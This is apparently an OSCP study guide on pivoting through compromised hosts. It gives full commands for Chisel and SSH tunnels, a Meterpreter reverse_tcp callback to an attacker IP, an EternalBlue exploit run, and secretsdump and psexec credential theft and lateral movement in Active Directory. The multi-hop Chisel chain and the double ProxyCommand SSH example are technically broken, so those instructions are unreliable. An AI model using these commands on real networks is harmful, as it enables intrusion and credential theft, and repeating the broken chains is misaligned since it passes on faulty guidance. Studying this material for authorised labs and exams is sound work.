Pivot Scenarios
This guide covers the most common pivoting scenarios you’ll encounter in OSCP exams, with step-by-step workflows for each approach.
Single Pivot Scenario
The most common OSCP scenario: you compromise one machine and need to reach another machine on the internal network.
Architecture
graph LR
subgraph "Your Network"
A[Attacker<br/>10.10.14.3]
end
subgraph "Target Network"
B[Pivot / Machine A<br/>10.10.10.5<br/>Compromised]
C[Target / Machine B<br/>10.10.10.10<br/>Internal only]
end
A -->|Compromise| B
B -->|Tunnel through| C
Approach 1: SSH Tunnel (Best when SSH available)
# Step 1: Get SSH credentials on pivot
# (via exploit, credential dump, etc.)
# Step 2: Create SOCKS proxy
ssh -f -N -D 1080 user@10.10.10.5
# Step 3: Configure proxychains
# /etc/proxychains4.conf:
# [ProxyList]
# socks5 127.0.0.1 1080
# Step 4: Scan and exploit internal target
proxychains4 nmap -sT -Pn -p 22,80,443,3306,8080 10.10.10.10
proxychains4 python3 exploit.py 10.10.10.10 80
Approach 2: Chisel (When SSH not available)
# Step 1: Deploy chisel binary to pivot
scp /usr/local/bin/chisel user@10.10.10.5:/tmp/chisel
# Step 2: Start chisel server on attacker
chisel server --port 8000 --reverse
# Step 3: Start chisel client on pivot
./chisel client 10.10.14.3:8000 R:socks
# Step 4: Use proxychains
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.10.10
Approach 3: Meterpreter (When you have Meterpreter session)
# Step 1: Get Meterpreter session
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
exploit
# Step 2: Add port forward
portfwd add -l 8080 -p 80 -r 10.10.10.10
# Step 3: Access forwarded service
curl http://localhost:8080
# Or use autoroute for exploit routing
run autoroute -a -s 10.10.10.0/24
background
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.10.10.10
set LHOST 10.10.10.5 # Pivot's internal IP!
exploit
Multi-Hop Pivot Chains
When you need to traverse multiple compromised hosts to reach the final target.
Architecture
graph LR
subgraph "Your Network"
A[Attacker<br/>10.10.14.3]
end
subgraph "DMZ"
B[Machine A<br/>10.10.10.5]
end
subgraph "Internal"
C[Machine B<br/>10.10.20.5]
end
subgraph "Restricted"
D[Machine C<br/>10.10.30.10<br/>Final Target]
end
A -->|Hop 1| B
B -->|Hop 2| C
C -->|Hop 3| D
Chained Chisel Approach
# === HOP 1: Attacker → Machine A ===
# On attacker - chisel server
chisel server --port 8000 --reverse
# On Machine A - chisel client (connects back to attacker)
./chisel client 10.10.14.3:8000 R:8001:127.0.0.1:8001
# === HOP 2: Machine A → Machine B ===
# On attacker - second chisel server on different port
chisel server --port 8001 --reverse
# On Machine A - connect to Machine B
./chisel client 10.10.20.5:8001 R:8002:127.0.0.1:8002
# === HOP 3: Machine B → Machine C ===
# On Machine B - chisel client connects through chain
./chisel client 10.10.14.3:8002 R:socks
# Now SOCKS proxy on attacker reaches Machine C's network!
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.30.10
Chained SSH Approach
# Jump through multiple bastions
ssh -J user@10.10.10.5,user@10.10.20.5 -L 8080:10.10.30.10:80 user@10.10.30.5
# Or with ProxyCommand for older OpenSSH
ssh -o ProxyCommand="ssh -W %h:%p user@10.10.10.5" \
-o ProxyCommand="ssh -W %h:%p user@10.10.20.5" \
-L 8080:10.10.30.10:80 user@10.10.30.5
Pivoting in Active Directory Environments
AD environments require specific ports and tools for enumeration and lateral movement.
Architecture
graph LR
subgraph "Your Network"
A[Attacker<br/>10.10.14.3]
end
subgraph "Target AD Network"
B[Workstation<br/>10.10.10.5<br/>Initial Access]
DC[Domain Controller<br/>10.10.10.10]
FS[File Server<br/>10.10.10.20]
DB[DB Server<br/>10.10.10.30]
WS[Web Server<br/>10.10.10.40]
end
A -->|Compromise| B
B -->|Tunnel| DC
B -->|Tunnel| FS
B -->|Tunnel| DB
B -->|Tunnel| WS
Full AD Pivot Workflow
# Step 1: Get initial access on workstation
# (via phishing, exploit, etc.)
# Step 2: Set up tunnel (Ch SOCKS recommended)
chisel server --port 8000 --reverse
# On workstation:
./chisel client 10.10.14.3:8000 R:socks
# Step 3: Enumerate internal network
proxychains4 nmap -sT -Pn -p 53,88,135,139,389,445,636,3268,3389,5985,5986 10.10.10.0/24
# Step 4: Identify Domain Controller
# Look for DC: ports 53, 88, 135, 139, 389, 445, 636, 3268 open
# Step 5: Extract credentials from workstation
proxychains4 python3 secretsdump.py DOMAIN/user:pass@10.10.10.5
# Step 6: Lateral movement to DC
proxychains4 python3 psexec.py DOMAIN/administrator:pass@10.10.10.10
# Step 7: Domain escalation
proxychains4 python3 secretsdump.py -just-dc-user DOMAIN/administrator:pass@10.10.10.10
AD-Specific Ports to Forward
| Port | Service | Purpose |
|---|---|---|
| 53 | DNS | Domain resolution, DNS zone transfer |
| 88 | Kerberos | Authentication, ticket granting |
| 135 | RPC | Remote procedure calls, DCOM |
| 139 | NetBIOS | Legacy SMB, name resolution |
| 389 | LDAP | Directory queries, user/group enumeration |
| 445 | SMB | File sharing, admin shares, psexec |
| 636 | LDAPS | Encrypted LDAP |
| 3268 | GC | Global Catalog (forest-wide queries) |
| 3389 | RDP | Remote Desktop Protocol |
| 5985/5986 | WinRM | Windows Remote Management |
Decision Framework
| Scenario | Best Strategy | Why |
|---|---|---|
| SSH available on pivot | SSH SOCKS + proxychains | Native, encrypted, reliable |
| No SSH, TCP port available | Chisel SOCKS + proxychains | Fast, single binary, flexible |
| Meterpreter session | portfwd (single port) or autoroute (subnet) | Built-in, no extra tools |
| Only web traffic allowed | ReGeorg or Ligolo HTTP | Wraps in HTTP/HTTPS |
| Multi-hop chain | Chained Chisel or SSH ProxyJump | Chainable, reliable |
| Full AD engagement | Chisel SOCKS + proxychains | Need all AD ports, flexible |
| Only DNS allowed | iodine | Full IP tunnel over DNS |
| Only ICMP allowed | ptunnel2 | TCP forward over ping |
| Need VPN-like access | Ligolo-ng | Full IP tunnel, easy setup |
OSCP Exam Tips
- Set up tunneling early — as soon as you compromise the first machine.
- Document your tunnel setup — note which ports map to which targets.
- Use SOCKS proxy for maximum flexibility — it covers all internal hosts.
- Test immediately —
proxychains4 curl http://internal-targetto verify. - Keep tunnels alive — use
tmuxornohupto prevent drops. - For AD machines — forward all AD ports (53, 88, 135, 139, 389, 445, etc.).
- Multi-hop — chain Chisel instances or use SSH ProxyJump.